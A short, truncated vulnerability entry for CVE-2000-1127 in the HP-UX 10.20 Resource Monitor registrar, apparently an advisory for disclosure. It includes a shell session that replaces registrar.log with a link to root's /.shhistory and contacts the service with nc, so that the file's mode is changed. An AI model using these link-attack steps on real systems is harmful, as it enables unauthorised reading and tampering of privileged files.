CVE-2000-1127

The CVE-2000-1127 entry concerns the registrar component of the HP Resource Monitor service. A local attacker can read and modify arbitrary files by renaming the original registrar.log and creating a symbolic link to a target file; the registrar process then appends log data to that link and sets...

HP-UX 10.20 resource monitor service

Problem: on HP-UX 10.20 you can change any file on the root partition to mode 644: $ uname -sr HP-UX B.10.20 $ cd /etc/opt/resmon/log $ mv registrar.log registrar.log.orig $ ls -l /.shhistory -rw------- 1 root sys 3316 Sep 20 15:22 /.shhistory $ ln /.shhistory registrar.log $ nc hpux.example.com...